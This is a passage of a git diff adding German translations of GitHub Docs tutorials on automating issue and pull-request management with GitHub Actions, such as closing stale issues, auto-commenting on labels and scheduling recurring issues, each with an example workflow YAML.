+- Weitere Informationen zu verschiedenen Ereignissen, die deinen Workflow auslösen können, findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#issues). Die `andymckay/labeler`-Aktion funktioniert nur für `issues`-, `pull_request`- oder `project_card`-Ereignisse.
+- [Durchsuche GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) nach Beispielen für Workflows, die diese Aktion verwenden.
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
new file mode 100644
index 0000000000..d20bd5061a
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
@@ -0,0 +1,83 @@
+---
+title: Schließen inaktiver Issues
+intro: 'Du kannst {% data variables.product.prodname_actions %} verwenden, um Issues zu kommentieren oder zu schließen, die für einen bestimmten Zeitraum inaktiv waren.'
+redirect_from:
+  - /actions/guides/closing-inactive-issues
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+ms.openlocfilehash: 7d0cab4c1ef7ac5fda67a0487b50817adfb5dfd8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063610'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Tutorial erfährst du, wie du die [Aktion `actions/stale`](https://github.com/marketplace/actions/close-stale-issues) verwendest, um Issues, die für einen bestimmten Zeitraum inaktiv waren, zu kommentieren und zu schließen. Du kannst beispielsweise kommentieren, wenn ein Problem 30 Tage lang inaktiv war, um Teilnehmer dazu zu veranlassen, aktiv zu werden. Wenn sich dann nach 14 Tagen nichts getan hat, kannst du das Problem schließen.
+
+In diesem Tutorial erstellst du zunächst eine Workflowdatei, die die [`actions/stale`-Aktion](https://github.com/marketplace/actions/close-stale-issues) verwendet. Im Anschluss passt du den Workflow an deine Anforderungen an.
+
+## Erstellen des Workflows
+
+1. {% data reusables.actions.choose-repo %}
+2. {% data reusables.actions.make-workflow-file %}
+3. Kopiere den folgenden YAML-Inhalt in deine Workflowdatei.
+
+    ```yaml{:copy}
+    name: Close inactive issues
+    on:
+      schedule:
+        - cron: "30 1 * * *"
+
+    jobs:
+      close-issues:
+        runs-on: ubuntu-latest
+        permissions:
+          issues: write
+          pull-requests: write
+        steps:
+          - uses: {% data reusables.actions.action-stale %}
+            with:
+              days-before-issue-stale: 30
+              days-before-issue-close: 14
+              stale-issue-label: "stale"
+              stale-issue-message: "This issue is stale because it has been open for 30 days with no activity."
+              close-issue-message: "This issue was closed because it has been inactive for 14 days since being marked as stale."
+              days-before-pr-stale: -1
+              days-before-pr-close: -1
+              repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+    ```
+
+4. Passe die Parameter in deiner Workflowdatei an:
+   - Ändere den Wert für `on.schedule`, um festzulegen, wann dieser Workflow ausgeführt werden soll. Im obigen Beispiel wird der Workflow täglich um 1:30 Uhr (UTC) ausgeführt. Weitere Informationen zu geplanten Workflows findest du unter [Geplante Ereignisse](/actions/reference/events-that-trigger-workflows#scheduled-events).
+   - Ändere den Wert für `days-before-issue-stale` in die Anzahl von Tagen ohne Aktivität, nach der die Aktion `actions/stale` ein Issue beschriften soll. Wenn diese Aktion niemals Issues beschriften soll, lege diesen Wert auf `-1` fest.
+   - Ändere den Wert für `days-before-issue-close` in die Anzahl von Tagen ohne Aktivität, nach der die Aktion `actions/stale` ein Issue schließen soll. Wenn diese Aktion niemals Issues schließen soll, lege diesen Wert auf `-1` fest.
+   - Ändere den Wert für `stale-issue-label` in die Bezeichnung, die auf Issues angewendet werden soll, die für den durch `days-before-issue-stale` angegebenen Zeitraum inaktiv waren.
+   - Ändere den Wert für `stale-issue-message` in den Kommentar, der Issues hinzugefügt werden soll, die durch die Aktion `actions/stale` beschriftet werden.
+   - Ändere den Wert für `close-issue-message` in den Kommentar, der Issues hinzugefügt werden soll, die durch die Aktion `actions/stale` geschlossen werden.
+5. {% data reusables.actions.commit-workflow %}
+
+## Erwartete Ergebnisse
+
+Basierend auf dem Parameter `schedule` (z. B. jeden Tag um 1:30 Uhr UTC), sucht dein Workflow nach Issues, die für den angegebenen Zeitraum inaktiv waren, und fügt den angegebenen Kommentar und die angegebene Bezeichnung hinzu. Darüber hinaus schließt dein Workflow alle zuvor beschrifteten Probleme, wenn für den angegebenen Zeitraum keine weitere Aktivität stattgefunden hat.
+
+{% data reusables.actions.schedule-delay %}
+
+Du kannst den Verlauf der Workflowausführungen anzeigen, um zu ermitteln, ob dieser Workflow regelmäßig ausgeführt wird. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+
+Dieser Workflow beschriftet und/oder schließt immer nur 30 Probleme gleichzeitig, um die Überschreitung einer Ratenbegrenzung zu vermeiden. Dies kann mithilfe der Einstellung `operations-per-run` konfiguriert werden. Weitere Informationen findest du in der [Dokumentation zur Aktion `actions/stale`](https://github.com/marketplace/actions/close-stale-issues).
+
+## Nächste Schritte
+
+- Informationen zu weiteren Möglichkeiten mit der Aktion `actions/stale` (etwa Schließen inaktiver Pull Requests, Ignorieren von Issues mit bestimmten Bezeichnungen oder Meilensteinen oder Beschränken der Überprüfung von Issues auf Issues mit bestimmten Bezeichnungen) findest du in der [Dokumentation zur Aktion `actions/stale`](https://github.com/marketplace/actions/close-stale-issues).
+- [Durchsuche GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) nach Beispielen für Workflows, die diese Aktion verwenden.
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
new file mode 100644
index 0000000000..8fe1a065e8
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
@@ -0,0 +1,80 @@
+---
+title: 'Kommentar zu einem Issue, wenn eine Bezeichnung hinzugefügt wird'
+intro: 'Du kannst {% data variables.product.prodname_actions %} verwenden, um Issues automatisch zu kommentieren, wenn eine bestimmte Bezeichnung angewendet wird.'
+redirect_from:
+  - /actions/guides/commenting-on-an-issue-when-a-label-is-added
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+shortTitle: Add label to comment on issue
+ms.openlocfilehash: 02484ffce5af753f06ac0523ef8e6ab853f47454
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147409039'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Tutorial wird gezeigt, wie du die [Aktion `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment) verwendest, um ein Issue zu kommentieren, wenn eine bestimmte Bezeichnung angewendet wird. Wenn beispielsweise die Bezeichnung `help-wanted` zu einem Issue hinzugefügt wird, kannst du einen Kommentar hinzufügen, um Mitwirkende zur Arbeit am Issue zu ermutigen.
+
+In diesem Tutorial erstellst du zunächst eine Workflowdatei, die die [`peter-evans/create-or-update-comment`-Aktion](https://github.com/marketplace/actions/create-or-update-comment) verwendet. Im Anschluss passt du den Workflow an deine Anforderungen an.
+
+## Erstellen des Workflows
+
+1. {% data reusables.actions.choose-repo %}
+2. {% data reusables.actions.make-workflow-file %}
+3. Kopiere den folgenden YAML-Inhalt in deine Workflowdatei.
+
+    ```yaml{:copy}
+{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
+
+{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %}
+
+    name: Add comment
+    on:
+      issues:
+        types:
+          - labeled
+    jobs:
+      add-comment:
+        if: github.event.label.name == 'help-wanted'
+        runs-on: ubuntu-latest
+        permissions:
+          issues: write
+        steps:
+          - name: Add comment
+            uses: peter-evans/create-or-update-comment@a35cf36e5301d70b76f316e867e7788a55a31dae
+            with:
+              issue-number: {% raw %}${{ github.event.issue.number }}{% endraw %}
+              body: |
+                This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles:
+    ```
+
+4. Passe die Parameter in deiner Workflowdatei an:
+   - Ersetze `help-wanted` in `if: github.event.label.name == 'help-wanted'` durch die Bezeichnung, auf die du reagieren möchtest. Wenn du auf mehr als eine Bezeichnung reagieren möchtest, trenne die Bedingungen durch `||`. `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` wird beispielsweise immer dann kommentiert, wenn die Bezeichnung `bug` oder `fix me` zu einem Issue hinzugefügt wird.
+   - Ändere den Wert für `body` in den Kommentar, den du hinzufügen möchtest. GitHub Flavored Markdown wird unterstützt. Weitere Informationen zu Markdown findest du unter [Grundlegende Schreib- und Formatierungssyntax](/github/writing-on-github/basic-writing-and-formatting-syntax).
+5. {% data reusables.actions.commit-workflow %}
+
+## Testen des Workflows
+
+Jedes Mal, wenn ein Issue in deinem Repository mit einer Bezeichnung versehen wird, wird dieser Workflow ausgeführt. Wenn es sich bei der hinzugefügten Bezeichnung um eine der Bezeichnungen handelt, die du in deiner Workflowdatei angegeben hast, fügt die Aktion `peter-evans/create-or-update-comment` den von dir angegebenen Kommentar zum Issue hinzu.
+
+Teste deinen Workflow, indem du deine angegebene Bezeichnung auf ein Issue anwendest.
+
+1. Öffne ein Issue in deinem Repository. Weitere Informationen findest du unter [Erstellen eines Issues](/github/managing-your-work-on-github/creating-an-issue).
+2. Bezeichne das Issue mit der angegebenen Bezeichnung in deiner Workflowdatei. Weitere Informationen findest du unter [Verwalten von Bezeichnungen](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests).
+3. Zeige den Verlauf deiner Workflowausführungen an, um die Workflowausführung zu ermitteln, die durch das Bezeichnen des Issues ausgelöst wurde. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+4. Wenn der Workflow abgeschlossen ist, sollte dem von dir bezeichneten Issue ein Kommentar hinzugefügt worden sein.
+
+## Nächste Schritte
+
+- Weitere Informationen zu weiteren Optionen für die Aktion `peter-evans/create-or-update-comment` (z. B. Hinzufügen von Reaktionen) findest du in der [Dokumentation zur Aktion `peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment).
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/index.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/index.md
new file mode 100644
index 0000000000..3d37b1ecd9
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/index.md
@@ -0,0 +1,25 @@
+---
+title: Verwalten von Issues und Pull Requests
+shortTitle: Managing issues and pull requests
+intro: 'Du kannst deine Probleme und Pull Requests automatisch mithilfe von {% data variables.product.prodname_actions %}-Workflows verwalten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /using-github-actions-for-project-management
+  - /adding-labels-to-issues
+  - /closing-inactive-issues
+  - /commenting-on-an-issue-when-a-label-is-added
+  - /moving-assigned-issues-on-project-boards
+  - /removing-a-label-when-a-card-is-added-to-a-project-board-column
+  - /scheduling-issue-creation
+ms.openlocfilehash: eefbef57b399f086329ffeb8b754351f4a9e6a67
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105044'
+---
+
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
new file mode 100644
index 0000000000..84c4fdbf19
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
@@ -0,0 +1,79 @@
+---
+title: Moving assigned issues on project boards
+intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.'
+redirect_from:
+  - /actions/guides/moving-assigned-issues-on-project-boards
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+shortTitle: Move assigned issues
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board.
+
+In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs.
+
+## Creating the workflow
+
+1. {% data reusables.actions.choose-repo %}
+2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+3. {% data reusables.actions.make-workflow-file %}
+4. Copy the following YAML contents into your workflow file.
+
+    ```yaml{:copy}
+{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
+
+{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %}
+
+    name: Move assigned card
+    on:
+      issues:
+        types:
+          - assigned
+    jobs:
+      move-assigned-card:
+        runs-on: ubuntu-latest
+        steps:
+          - uses: alex-page/github-project-automation-plus@5bcba1c1c091a222584d10913e5c060d32c44044
+            with:
+              project: Docs Work
+              column: In Progress
+              repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
+    ```
+
+5. Customize the parameters in your workflow file:
+   - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name.
+   - Change the value for `column` to the name of the column where you want issues to move when they are assigned.
+   - Change the value for `repo-token`:
+     1. Create a {% data variables.product.pat_v1 %} with the `repo` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+     1. Store this {% data variables.product.pat_generic %} as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+     1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret.
+6. {% data reusables.actions.commit-workflow %}
+
+## Testing the workflow
+
+Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board.
+
+If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or personal account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column.
+
+Test your workflow by assigning an issue in your repository.
+
+1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
+2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)."
+3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+4. When the workflow completes, the issue that you assigned should be added to the specified project board column.
+
+## Next steps
+
+- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation).
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
new file mode 100644
index 0000000000..395b000485
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
@@ -0,0 +1,86 @@
+---
+title: 'Entfernen einer Bezeichnung, wenn eine Karte einer Projektboardspalte hinzugefügt wird'
+intro: 'Mithilfe von {% data variables.product.prodname_actions %} kannst du Bezeichnungen automatisch entfernen, wenn ein Issue oder ein Pull Request in einem Projektboard einer bestimmten Spalte hinzugefügt wird.'
+redirect_from:
+  - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+shortTitle: Remove label when adding card
+ms.openlocfilehash: c23edb495719c7059c9c5d8dab1c29acb0e78cb6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410107'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Tutorial wird gezeigt, wie du die [`andymckay/labeler`-Aktion](https://github.com/marketplace/actions/simple-issue-labeler) zusammen mit einer Bedingung verwendest, um eine Bezeichnung von Issues und Pull Requests zu entfernen, die einer bestimmten Spalte auf einem Projektboard hinzugefügt werden. Du kannst beispielsweise die Bezeichnung `needs review` entfernen, wenn Projektkarten in die Spalte `Done`verschoben werden.
+
+In diesem Tutorial erstellst du zunächst eine Workflowdatei, die die [`andymckay/labeler`-Aktion](https://github.com/marketplace/actions/simple-issue-labeler) verwendet. Im Anschluss passt du den Workflow an deine Anforderungen an.
+
+## Erstellen des Workflows
+
+1. {% data reusables.actions.choose-repo %}
+2. Wähle ein Projekt aus, das zum Repository gehört. Dieser Workflow kann nicht mit Projekten verwendet werden, die Benutzer*innen oder Organisationen gehören. Du kannst ein vorhandenes Projekt verwenden oder ein neues erstellen. Weitere Informationen zum Erstellen eines Projekts findest du unter [Erstellen eines Projektboards](/github/managing-your-work-on-github/creating-a-project-board).
+3. {% data reusables.actions.make-workflow-file %}
+4. Kopiere den folgenden YAML-Inhalt in deine Workflowdatei.
+    ```yaml{:copy}
+{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
+
+{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %}
+
+    name: Remove labels
+    on:
+      project_card:
+        types:
+          - moved
+    jobs:
+      remove_labels:
+        if: github.event.project_card.column_id == '12345678'
+        runs-on: ubuntu-latest
+        permissions:
+          issues: write
+          pull-requests: write
+        steps:
+          - name: remove labels
+            uses: andymckay/labeler@5c59dabdfd4dd5bd9c6e6d255b01b9d764af4414
+            with:
+              remove-labels: "needs review"
+              repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+    ```
+
+5. Passe die Parameter in deiner Workflowdatei an:
+   - Ersetze `12345678` in `github.event.project_card.column_id == '12345678'` durch die ID der Spalte, in der du Bezeichnungen von Issues und Pull Requests entfernen möchtest, die dorthin verschoben werden.
+
+    Navigiere zum Projektboard, um die Spalten-ID zu finden. Klicke neben dem Titel der Spalte auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und danach auf **Spaltenlink kopieren**. Bei der Zahl am Ende des kopierten Links handelt es sich um die Spalten-ID. Beispielsweise ist `24687531` die Spalten-ID für `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
+
+     Wenn du mehr als eine Spalte bearbeiten möchtest, trenne die Bedingungen durch `||`. Zum Beispiel wird `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` immer ausgeführt, wenn eine Projektkarte zu Spalte `12345678` oder Spalte `87654321` hinzugefügt wird. Die Spalten können sich auf verschiedenen Projektboards befinden.
+   - Ändere den Wert für `remove-labels` in die Liste der Bezeichnungen, die du von Issues oder Pull Requests entfernen möchtest, die in die angegebene Spalte oder Spalten verschoben werden. Trenne mehrere Bezeichnungen durch Kommas voneinander ab. Beispiel: `"help wanted, good first issue"`. Weitere Informationen zu Bezeichnungen findest du unter [Verwalten von Bezeichnungen](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests).
+6. {% data reusables.actions.commit-workflow %}
+
+## Testen des Workflows
+
+Jedes Mal, wenn eine Projektkarte in einem Projekt in deinem Repository verschoben wird, wird dieser Workflow ausgeführt. Wenn die Karte ein Issue oder ein Pull Request ist und in die von Ihnen angegebene Spalte verschoben wird, werden durch den Workflow die angegebenen Bezeichnungen entfernt. Karten, bei denen es sich um Notizen handelt, sind nicht betroffen.
+
+Teste deinen Workflow, indem du ein Issue in deinem Projekt in die Zielspalte verschiebst.
+
+1. Öffne ein Issue in deinem Repository. Weitere Informationen findest du unter [Erstellen eines Issues](/github/managing-your-work-on-github/creating-an-issue).
+2. Beschrifte das Issue mit den Bezeichnungen, die vom Workflow entfernt werden sollen. Weitere Informationen findest du unter [Verwalten von Bezeichnungen](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests).
+3. Füge das Issue zu der Projektspalte hinzu, die du in deiner Workflowdatei angegeben hast. Weitere Informationen findest du unter [Hinzufügen von Issues und Pull Requests zu einem Projektboard](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board).
+4. Um die Workflowausführung anzuzeigen, die durch das Hinzufügen des Issues zum Projekt ausgelöst wurde, rufe den Verlauf deiner Workflowausführungen auf. Weitere Informationen findest du unter [Aufrufen des Workflow-Ausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+5. Wenn der Workflow abgeschlossen ist, sollten die angegebenen Bezeichnungen von dem Issue, das du der Projektspalte hinzugefügt hast, entfernt worden sein.
+
+## Nächste Schritte
+
+- Weitere Informationen zu zusätzlichen Optionen, die du mit der `andymckay/labeler`-Aktion durchführen kannst, findest du unter [`andymckay/labeler`-Aktionsdokumentation](https://github.com/marketplace/actions/simple-issue-labeler). Dazu gehört z. B. das Hinzufügen von Bezeichnungen oder das Überspringen dieser Aktion, wenn das Issue zugewiesen ist oder eine bestimmte Bezeichnung aufweist.
+- [Durchsuche GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) nach Beispielen für Workflows, die diese Aktion verwenden.
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
new file mode 100644
index 0000000000..4fc8dca8aa
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
@@ -0,0 +1,98 @@
+---
+title: Planen der Erstellung von Issues
+intro: 'Du kannst {% data variables.product.prodname_actions %} verwenden, um regelmäßig ein Issue zu erstellen, z. B. für tägliche Besprechungen oder vierteljährliche Überprüfungen.'
+redirect_from:
+  - /actions/guides/scheduling-issue-creation
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+ms.openlocfilehash: 6a68e7cab1c20a7f89bdef438d299c5bda32315c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410060'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieses Tutorial veranschaulicht, wie du die [`imjohnbo/issue-bot`-Aktion](https://github.com/marketplace/actions/issue-bot-action) verwendest, um Issues für regelmäßige Aufgaben zu erstellen. Du kannst beispielsweise für jede Woche ein Issue erstellen, das als Tagesordnung für eine Teambesprechung verwendet werden soll.
+
+In diesem Tutorial erstellst du zunächst eine Workflowdatei, die die [`imjohnbo/issue-bot`-Aktion](https://github.com/marketplace/actions/issue-bot-action) verwendet. Im Anschluss passt du den Workflow an deine Anforderungen an.
+
+## Erstellen des Workflows
+
+1. {% data reusables.actions.choose-repo %}
+2. {% data reusables.actions.make-workflow-file %}
+3. Kopiere den folgenden YAML-Inhalt in deine Workflowdatei.
+
+    ```yaml{:copy}
+{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
+
+{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %}
+    
+    name: Weekly Team Sync
+    on:
+      schedule:
+        - cron: 20 07 * * 1
+
+    jobs:
+      create_issue:
+        name: Create team sync issue
+        runs-on: ubuntu-latest
+        permissions:
+          issues: write
+        steps:
+          - name: Create team sync issue
+            uses: imjohnbo/issue-bot@3daae12aa54d38685d7ff8459fc8a2aee8cea98b
+            with:
+              assignees: "monalisa, doctocat, hubot"
+              labels: "weekly sync, docs-team"
+              title: "Team sync"
+              body: |
+                ### Agenda
+
+                - [ ] Start the recording
+                - [ ] Check-ins
+                - [ ] Discussion points
+                - [ ] Post the recording
+                        
+                ### Discussion Points
+                Add things to discuss below
+
+                - [Work this week](https://github.com/orgs/github/projects/3)
+              pinned: false
+              close-previous: false
+            env:
+              GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+    ```
+
+4. Passe die Parameter in deiner Workflowdatei an:
+   - Ändere den Wert für `on.schedule`, um festzulegen, wann dieser Workflow ausgeführt werden soll. Im obigen Beispiel wird der Workflow jeden Montag um 7:20 Uhr UTC ausgeführt. Weitere Informationen zu geplanten Workflows findest du unter [Geplante Ereignisse](/actions/reference/events-that-trigger-workflows#scheduled-events).
+   - Ändere den Wert für `assignees` in die Liste der {% data variables.product.prodname_dotcom %}-Benutzernamen, die du dem Issue zuweisen möchtest.
+   - Ändere den Wert für `labels` in die Liste der Bezeichnungen, die du auf das Issue anwenden möchtest.
+   - Ändere den Wert für `title` in den Titel, den das Issue haben soll.
+   - Ändere den Wert für `body` in den Text, der im Issuetext angezeigt werden soll. Mit dem Zeichen `|` kannst du einen mehrzeiligen Wert für diesen Parameter verwenden.
+   - Wenn du dieses Issue in deinem Repository anheften möchtest, lege `pinned` auf `true` fest. Weitere Informationen zu angehefteten Issues findest du unter [Anheften eines Issues an dein Repository](/articles/pinning-an-issue-to-your-repository).
+   - Wenn das von diesem Workflow generierte vorherige Issue immer geschlossen werden soll, wenn ein neues Issue erstellt wird, lege `close-previous` auf `true` fest. Der Workflow schließt das jüngste Issue, das die im Feld `labels` definierten Bezeichnungen enthält. Um zu vermeiden, dass das falsche Issue geschlossen wird, verwende eine eindeutige Bezeichnung oder eine eindeutige Kombination aus Bezeichnungen.
+5. {% data reusables.actions.commit-workflow %}
+
+## Erwartete Ergebnisse
+
+Basierend auf dem Parameter `schedule` (z. B. jeden Montag um 7:20 Uhr UTC) erstellt dein Workflow ein neues Issue mit den zugewiesenen Personen, Bezeichnungen, dem Titel und dem Textkörper, die bzw. den du angegeben hast. Wenn du `pinned` auf `true` festgelegt hast, heftet der Workflow das Issue an dein Repository an. Wenn du `close-previous` auf TRUE festgelegt hast, schließt der Workflow das jüngste Issue mit den entsprechenden Bezeichnungen.
+
+{% data reusables.actions.schedule-delay %}
+
+Du kannst den Verlauf der Workflowausführungen anzeigen, um zu ermitteln, ob dieser Workflow regelmäßig ausgeführt wird. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+
+## Nächste Schritte
+
+- Weitere Informationen zu weiteren Aufgaben, die du mit der `imjohnbo/issue-bot`-Aktion erledigen kannst, z. B. zum Rotieren von zugewiesenen Personen oder zum Verwenden einer Issuevorlage, findest du in der [Dokumentation zu `imjohnbo/issue-bot`-Aktionen](https://github.com/marketplace/actions/issue-bot-action).
+- [Durchsuche GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) nach Beispielen für Workflows, die diese Aktion verwenden.
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
new file mode 100644
index 0000000000..a9313d4342
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
@@ -0,0 +1,48 @@
+---
+title: Verwenden von GitHub Actions für die Projektverwaltung
+intro: 'Du kannst mit {% data variables.product.prodname_actions %} viele deiner Projektmanagementaufgaben automatisieren.'
+redirect_from:
+  - /actions/guides/using-github-actions-for-project-management
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Project management
+shortTitle: Actions for project management
+ms.openlocfilehash: 5f5d1cb222824bbb451ad603e35b4986384645e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105019'
+---
+Du kannst {% data variables.product.prodname_actions %} verwenden, um deine Projektmanagementaufgaben durch Erstellen von Workflows zu automatisieren. Jeder Workflow enthält eine Reihe von Aufgaben, die bei jeder Ausführung des Workflows automatisch ausgeführt werden. Du kannst beispielsweise einen Workflow erstellen, der jedesmal ausgeführt wird, wenn ein Issue erstellt wird, um eine Bezeichnung hinzuzufügen, einen Kommentar zu hinterlassen und das Issue auf ein Projektboard zu verschieben.
+
+## Wann werden Workflows ausgeführt?
+
